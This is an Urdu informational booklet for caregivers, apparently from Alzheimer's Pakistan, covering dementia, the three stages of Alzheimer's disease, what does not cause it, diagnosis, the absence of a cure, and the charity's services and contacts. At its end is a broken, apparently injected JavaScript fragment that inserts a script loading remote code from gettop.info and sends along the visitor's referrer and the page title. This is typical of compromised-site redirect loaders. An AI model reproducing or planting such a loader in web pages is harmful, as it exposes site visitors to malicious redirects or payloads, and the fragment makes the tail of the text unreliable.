نسیان( بھولنے کا مرض)

نسیان ایک بیماری کے نتیجے میں واقع ہوتا ہے ۔جب ڈاکٹر کسی شخص میں نسیان کی تشخیص کرتے ہیں تو اس کا مطلب ہے کہ اس شخص میں یاداشت، سوچ بچار، اور رویوں میں تبدیلی کی نمایاں علامات ظاہر ہوئی ہیں۔مریض میں پہلی تبدیلی اسکی نزدیکی یاداشت میں کمی اور روز مرہ کے کاموں کی ادائیگی میں دشواری ہوتی ہے۔ اس کے ساتھ ساتھ ذہنی الجھائو، شخصیت اور رویوں میں تبدیلی ، اندازوں میں غلطی، صحیح الفاظ کے چنائو میں دشواری، مکمل خیالات اور ہدایات پر عملدارآمدمیں مشکلات جیسی کیفیات بھی ظاہر ہوتی ہیں۔ایلذائیمرز کی بیماری ، نسیان کی سب سے بڑی وجہ ہے۔ اسکے علاوہ (ویسکولر ڈیمنشیا) Vascular Dementia بھی نسیان کی عام پائی جانے والی بیماریوں میں سے ایک ہے۔

ایلذائیمرزکی بیماری

ایلذائیمرز کی بیماری دماغ کے اُن حصوں پر حملہ آور ہوتی ہے جو سوچ بچار، یاداشت اور بول چال کو کنٹرول کرتے ہیں۔ بیماری کی ابتداء بتدریج ہوتی ہے اور اسکااثر مریض پر آہستہ آہستہ ہوتا ہے۔ فی الحال ایلذائیمرز کی بیماری کی وجوہات اور علاج دریافت نہیں ہو سکاہے۔ اِ س بیماری کا نام ڈاکٹرالائوس ایلذائیمرز کے نام پر رکھا گیا ہے جنہوں نے 1906 ؁ء میں پہلی مرتبہ ایک خاتون مریضہ کے دماغ کے حصوں میں تبدیلی بیان کی جو ایک نامعلوم دماغی بیماری کی بناء پر وفات پا گئی تھی۔ یہ دماغی تبدیلیاں اب ایلذائیمرز کی بیماری کی مخصوص دماغی تبدیلیوں کے طور پر جانی جاتی ہے۔

اگر چہ ایلذائیمرز عمر رسیدہ افراد پر زیادہ حملہ آور ہوتی ہے لیکن اس بیماری سے کم عمرا فراد بھی متاثر ہو سکتے ہیں۔ ایلذائیمرز معاشرے کے ہر طبقے میں پائی جاتی ہے اور اس کا تعلق کسی خاص سماجی طبقے، جنس، لسانی گروپ یا جغرافیائی حدود سے نہیں ہوتا۔

ایلذائیمرزکی بیماری کی علامات

یہ بیماری ہر فر د پر مختلف انداز سے اثر انداز ہوتی ہے اس کا اثر بہت حد تک متاثرہ شخص کی بیماری سے پہلے کی شخصیت، اسکی جسمانی صحت اور طرز زندگی پر منحصر ہے۔ اس بیماری کی علامات کو سمجھنے کیلئے بیماری کے تین مراحل کو سمجھنا ضروری ہے۔ جوکہ بیماری کے ابتدائی ، درمیانی اور آخری حالتیں کہلاتی ہیں۔ یہ ضروری نہیں کہ ہر مریض میں ایلذائیمرز کی تمام علامات ظاہر ہوںاوراس کے علاوہ یہ علامات ایک مریض سے دوسرے مریض میں مختلف طریقے سے بھی ظاہر ہو سکتی ہیں۔

لیکن بیماری کی تین حالتیںمریض کے تیمار دار کو مرض کے بڑھنے کے عمل کو سمجھنے اور آئندہ کی منصوبہ بندی کرنے میں مدد گار ہو سکتی ہیں۔ ہر مریض بیماری کے بڑھنے کے عمل کو دوسرے مریض سے مختلف طور پر محصوس کرے گا۔ بعض علامات کسی بھی حالت میں وارد ہوسکتی ہیں ۔ مثلاً رویوں میں تبدیلی آخری حالت کی بجائے درمیانی حالت میں بھی آسکتی ہے۔ اس کے علاوہ تیمار دارکو معلوم ہونا چاہئے کہ الذائمیرز کی تمام حالتوں میں مریض پر ایسے مختصر دورانیے بھی آسکتے ہیں جب وہ بالکل تندرست محسوس ہو۔

ابتدائی حالت

ابتدائی حالت کو اکثر اوقات ماہرین ، رشتہ دار اور دوست احباب نظر انداز کر دیتے ہیں اور غلطی سے اس کو بڑھاپے سے تعبیر کرتے ہیں۔ اس کے شروعات کے وقت کا اندازہ لگانا مشکل ہوتا ہے۔ کیونکہ یہ بیماری بتدریج بڑھتی ہے۔ ابتدائی حالت کی مریض میں پائی جانے والی عمومی علامات درج ذیل ہیں:۔

۱۔ بول چال میں مشکل
۲۔ یاداشت میں نمایاں کمی خصوصاً ماضی قریب کی یاداشت زیادہ متاثر ہوتی ہے۔
۳۔ وقت کی بے خبری
۴۔ مانوس جگہوں میں کھو جانا

۵۔ قوتِ فیصلہ میں کمی
۶۔ پہل کرنے اور دل لگی سے کام کرنے میں کمی
۷۔ افسردگی اور جارحانہ پن کا ظاہر ہونا
۸۔ مصروفیات اور مشاغل میں کم دلچسپی

درمیانی حالت

جیسے جیسے بیماری بڑھتی ہے مسائل زیادہ واضح ہو جاتے ہیں اور مریض کی مشکلات میں اضافہ ہو جاتاہے۔ مریض کو روز مرہ کے امور انجام دینے میں مشکلات بڑھتی جاتی ہیں۔ اسکے علاوہ درج ذیل علامات بھی ظاہر ہونا شروع ہو جاتی ہیں:۔

۱۔ یاداشت میں زیادہ کمی واقع ہو جاتی ہے خصوصاً ماضی قریب کے واقعات اور لوگوں کے نام بھولنا شروع
ہو جاتے ہیں۔
۲۔ مریض کا بغیر مشکلات اکیلا رہنا ممکن نہیں رہتا۔
۳۔ مریض خریدو فروخت، صفائی اور پکانے کی اہلیت سے محروم ہو جاتا ہے۔
۴۔ مریض کا دوسروں پر انحصار بہت بڑھ جاتا ہے۔

۵۔ مریض کو ذاتی امور انجام دینے میں مثلاً بیت الخلا ء جانے، صفائی اور کپڑے پہننے میں دشواری ہوتی ہے۔
۶۔ بول چال میں مزید دشواری ہوجاتی ہے۔
۷۔ بلا وجہ اِدھر اُدھر گھومنا اور رویے میں گراوٹ آجاتی ہے۔
۸۔ اپنے ہی گھر اور محلے میں بھٹک جاتا ہے۔
۹۔ مریض کو فریبی تصورات (Hallucinations) آنے شروع ہو جاتے ہیں۔

آخری حالت:

اس حالت میں مریض غیر محترک اور مکمل طور پر دوسرے کا محتاج ہو جاتا ہے۔ یاداشت انتہائی خراب اور بیماری کے ظاہری اثرات شدت اختیار کر لیتے ہیں۔ نمایا ں علامات درج ذیل ہیں:۔

۱۔ کھانے میں دشواری ہوتی ہے۔
۲۔ رشتہ داروں ، دوستوں اور مانوس اشیاء کی پہچان ختم ہو جاتی ہے۔
۳۔ واقعات کو سمجھنے میں دشواری پیش آتی ہے۔
۴۔ اپنے گھر کے اندر بھی راستے کو بھول جاتا ہے۔

۵۔ چلنے پھرنے میں دشواری ہوتی ہے۔
۶۔ پیشاب اور پاخانہ میں بے اختیاری ہو جاتی ہے۔
۷۔ لوگوں کے سامنے غیر متوقع رویے کا اظہارکر سکتا ہے۔
۸۔ بستر یا وہیل چیئر تک محدود ہوسکتا ہے۔

ایلذائیمرز کی بیماری کی وجوہات

فی الحال ایلذائیمرز کی بیماری کی وجوہات معلوم نہیں ہوسکی۔ البتہ یہ ضرور معلوم ہو چکا ہے کہ کن چیزوں کی وجہ سے ایلذائیمرز کی بیماری نہیں ہوتی۔ ایلذائیمرز کی بیماری مندرجہ ذیل وجوہات کی وجہ سے نہیں ہوتی:۔

۱۔ شریانوں کا سخت ہونا
۲۔ ذہن کا زیادہ یا کم استعمال کرنا
۳۔ جنسی طور پرمنتقل ہونے والی بیماریاں
۴۔ انفیکشن
۵۔ بڑھاپے کی وجہ سے ( یہ بیماری بڑھاپے کا نارمل حصہ نہیں ہے)
۶۔ ایلومینیم یا دیگر دھاتوں کے استعمال سے

تشخیص کیوں ضروری ہے

جلد تشخیص مریض کے کئیر گورز کیلئے خصوصاً بہت ضروری ہے تاکہ اسے معلوم ہو کہ آئندہ کیا ہونے والا ہے تاکہ وہ اس سلسلے میں بہتر منصوبہ بندی کر سکے۔ تشخیص دراصل مستقبل کی منصوبہ بندی کی طرف پہلا قد م ہے ۔ تشخیص کیلئے کوئی سادہ ٹیسٹ موجود نہیں ہے بلکہ ایلذائیمرز کی بیماری کی تشخیص کیلئے مریض کے عزیز و اقارب سے معلوم کردہ مریض کی موجودہ مشکلات کے تناظر میںاور مریض کی جسمانی اور ذہنی حالت کے محتاط مطالعے سے اندازہ لگایا جا تا ہے۔

اِ س سلسلے میں ضروری ہے کہ ایسی تمام بیماریاں جو یاداشت پر اثر انداز ہوتی ہیں انہیں پہلے چیک کرکے مسترد کر دیا گیا ہو۔ ایلذائیمرز کی بیماری کی صحیح تشخیص مریض کے وفات پانے کے بعد پوسٹ مارٹم کے ذریعے دماغ کا معائنہ کرنے کے بعد ہی کی جا سکتی ہے۔

کیا علاج موجود ہے؟

بد قسمتی سے تاحال اس بیماری کا علاج موجود نہیں ہے البتہ مریض اور کئیر گورز کی آسانی کیلئے بہت کچھ کیا جا سکتا ہے۔ مزید معلومات کیلئے اپنے ڈاکٹر ، سوشل ورکراور صحت کے ماہرین سے رجوع کیا جا سکتا ہے۔ بعض ممالک میں ایلذائیمرز کی ابتدائی اور درمیانی حالتوں کے لیے کچھ ادویات دستیاب ہیں۔ اِن ادویات سے بیمار کو مکمل شفا ء نہیں ملتی مگر کچھ لوگوں میں بیماری کے چند اثرات کے لیے مفید ثابت ہو سکتی ہیں۔ تیمار دار کو چاہیے کہ وہ الذائمیرز ایسوسی ایشن یا اپنے ڈاکٹر سے رجو ع کریں۔

ایلذائیمرز پاکستان

ایلذائیمر ز پاکستان ایک قومی رفاہی اِدارہ ہے جو ایلذائیمر ز اور نسیان کی دیگر بیماریوں میں مبتلا مریضوں اور ان کے خاندانوں کی فلاح و بہبود کے لیے کام کر رہی ہے۔ایلذائیمر ز پاکستان کو مختلف طبقہ زندگی سے تعلق رکھنے والے رضا کاروں خاص طور پرایلذائیمر کی بیماری کے مریضوں کے لواحقین نے قائم کیا اور چلا رہے ہیں۔

اغراض و مقاصد

1 ۔ایلذائیمر کی بیماری کے بارے میں شعور اجاگر کرنا۔
2 ۔ ایلذائیمر کے مریضوں اور ان کے خاندان کے افراد کو معلومات اور ضروری سہولیات فراہم کرنا۔
3 ۔ ڈاکٹرز اور کے مریض کے خاندان کے افراد کو تربیت فراہم کرنا تا کہ وہ مریض کی مناسب علاج، دیکھ بھال اور نگہداشت کر سکیں۔

ڈے کیئر کلب

ایلذائیمر زپاکستان نے ایلذائیمر کے مریضوں کے لیے ایک ڈے کیئر کلب قائم کیا ہے جہاں مریضوں کو روزانہ ضروری سہولیات فراہم کی جاتی ہیں۔ جیسا کہ ذہنی اور جسمانی مشقیں، فزیوتھراپی اور طبی سہولیات وغیرہ۔مریضوں کو گھر سے کلب اور واپس گھر تک ٹرانسپورٹ بھی فراہم کی جاتی ہے۔ اس ڈے کیئر کلب کا مقصد نہ صرف ایلذائیمر کے مریضوں کو ضروری سہولیات فراہم کرنا ہے بلکہ اس سے مریض کے خاندان کے افراد کو مریض کی نگہداشت سے کچھ وقت مل جاتا ہے تاکہ وہ اپنے دوسرے ضروری گھریلو، کاروباری اور سماجی کاموں کو انجام دے سکیں۔

urdu-bookletایلذائیمر ز پاکستان اپنی تمام خدمات مریضوں اور ان کے لواحقین کو بالکل مفت فراہم کرتا ہے۔ اگر آپ ایلذائیمر کے بارے میں کسی بھی قسم کی معلومات یاایلذائیمر ز پا کستان کی خدمات کے بارے میں مزیدجاننا چاہتے ہوں تو ہم سے نیچے دیئے گئے پتہ پر رابطہ کریں۔

146/1 شادمان جیل روڈ لاہور
ہیلپ لائن:35186100-042
ای میل: info@alz.org.pk
ویب سایٹ: www.alz.org.pk

معلوماتی کتابچہ
ایلذائیمرز( نسیان) کی بیماری
نگہداشت پر مامور افراد( کیئر گورز) کے لیے
ضروری معلومات

 document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; } else {